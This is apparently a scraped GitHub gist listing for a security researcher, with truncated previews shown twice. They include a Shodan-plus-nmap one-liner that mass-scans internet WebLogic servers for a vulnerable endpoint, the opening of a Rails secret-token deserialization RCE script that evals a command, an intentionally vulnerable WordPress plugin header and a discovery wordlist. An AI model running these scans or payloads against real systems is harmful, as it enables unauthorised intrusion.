Splint3r7 Splint3r7

## domain_All-Live-Datadog-Sites.csv
domain
123rf.com
1stdibs.com
2u.com
ba.com
babylist.com
bananatag.com
baylor.edu
bbcgoodfood.com
bcm.edu

## plugin.php
<?php
/* Plugin Name: Damn Vulnerable WordPress Plugin
 * Description: Intentionally vulnerable plugin for plugin author education
 * Version: 0.1
 * Plugin URI: http://make.wordpress.org/plugins/2013/04/09/intentionally-vulnerable-plugin/
 * Author: Jon Cave
 * Author URI: http://joncave.co.uk
 * License: GPLv2+
 *
 * DO NOT RUN THIS PLUGIN ON AN INTERNET ACCESSIBLE SITE

## ruby-open-uri-request.rb
# http://ruby-doc.org/stdlib-2.0.0/libdoc/open-uri/rdoc/OpenURI.html
require 'open-uri'

# Go fetch the contents of a URL & store them as a String
response = open('http://www.example.com').read

# "Pretty prints" the result to look like a web page instead of one long string of HTML
URI.parse(response).class

# Print the contents of the website to the console

## content_discovery_all.txt
`
~/
~
×™×


___
__
_

## gist:21318469ccb629d972586ca1ab8c21ad
#!/bin/bash

# this script was written by viss as a challenge from @random_robbie
# This one-liner replaces a fairly lengthy python script
# if you want to be walked through it, sign up for square cash, send $viss 20 dollars. Otherwise, flex your google fu!
# oh, ps: you need to pip install shodan, and then configure the shodan cli client by giving it your api key.
# then you're off to the races.

shodan search --fields ip_str --limit 1000 'product:"Oracle Weblogic" port:"7001" country:"US"' | sort -u | nmap -sT -Pn -n -oG - -iL - -p 7001 | grep open | awk '{print $2}' | xargs -I % -n 1 -P 30 bash -c 'RESULT=`curl -s -I -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko0100101 Firefox/54.0" -H "Connection":"close" -H "Accept-Language":"en-US -H en;q=0.5" -H "Accept":"text/html -H application/xhtml+xml -H application/xml;q=0.9 -H */*;q=0.8" -H "Upgrade-Insecure-Requests":"1" %:7001/ws_utc/config.do | egrep HTTP`; echo "%: $RESULT";'

## rails-secret-token-rce.rb
#THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
require 'base64'
require 'openssl'
require 'optparse'
require 'open-uri'
SECRET_TOKEN = "SECRET HERE"
code = "eval('`COMMAND HERE`')"
    marshal_payload = Base64.encode64(
      "\x04\x08" +
      "o" +

## ssrf_iframe.svg

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                Splint3r7
                / ssrf_iframe.svg
            
            
              Created
              April 5, 2019 09:34
                — forked from akhil-reni/ssrf_iframe.svg
            
              
                SVG Foreign Objects IFrame SSRF
              
          
      Sorry, something went wrong. Reload?
      Sorry, we cannot display this file.
      Sorry, this file is invalid so it cannot be displayed.
      
          Viewer requires iframe.
	domain
	123rf.com
	1stdibs.com
	2u.com
	ba.com
	babylist.com
	bananatag.com
	baylor.edu
	bbcgoodfood.com
	bcm.edu
	<?php
	/* Plugin Name: Damn Vulnerable WordPress Plugin
	* Description: Intentionally vulnerable plugin for plugin author education
	* Version: 0.1
	* Plugin URI: http://make.wordpress.org/plugins/2013/04/09/intentionally-vulnerable-plugin/
	* Author: Jon Cave
	* Author URI: http://joncave.co.uk
	* License: GPLv2+
	*
	* DO NOT RUN THIS PLUGIN ON AN INTERNET ACCESSIBLE SITE
	# http://ruby-doc.org/stdlib-2.0.0/libdoc/open-uri/rdoc/OpenURI.html
	require 'open-uri'

	# Go fetch the contents of a URL & store them as a String
	response = open('http://www.example.com').read

	# "Pretty prints" the result to look like a web page instead of one long string of HTML
	URI.parse(response).class

	# Print the contents of the website to the console
	#!/bin/bash

	# this script was written by viss as a challenge from @random_robbie
	# This one-liner replaces a fairly lengthy python script
	# if you want to be walked through it, sign up for square cash, send $viss 20 dollars. Otherwise, flex your google fu!
	# oh, ps: you need to pip install shodan, and then configure the shodan cli client by giving it your api key.
	# then you're off to the races.

	shodan search --fields ip_str --limit 1000 'product:"Oracle Weblogic" port:"7001" country:"US"' \| sort -u \| nmap -sT -Pn -n -oG - -iL - -p 7001 \| grep open \| awk '{print $2}' \| xargs -I % -n 1 -P 30 bash -c 'RESULT=`curl -s -I -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko0100101 Firefox/54.0" -H "Connection":"close" -H "Accept-Language":"en-US -H en;q=0.5" -H "Accept":"text/html -H application/xhtml+xml -H application/xml;q=0.9 -H /;q=0.8" -H "Upgrade-Insecure-Requests":"1" %:7001/ws_utc/config.do \| egrep HTTP`; echo "%: $RESULT";'
	#THIS IS COPIED FROM SOME WHERE. I just saved it in my gists so this can come handy to others
	require 'base64'
	require 'openssl'
	require 'optparse'
	require 'open-uri'
	SECRET_TOKEN = "SECRET HERE"
	code = "eval('`COMMAND HERE`')"
	marshal_payload = Base64.encode64(
	"\x04\x08" +
	"o" +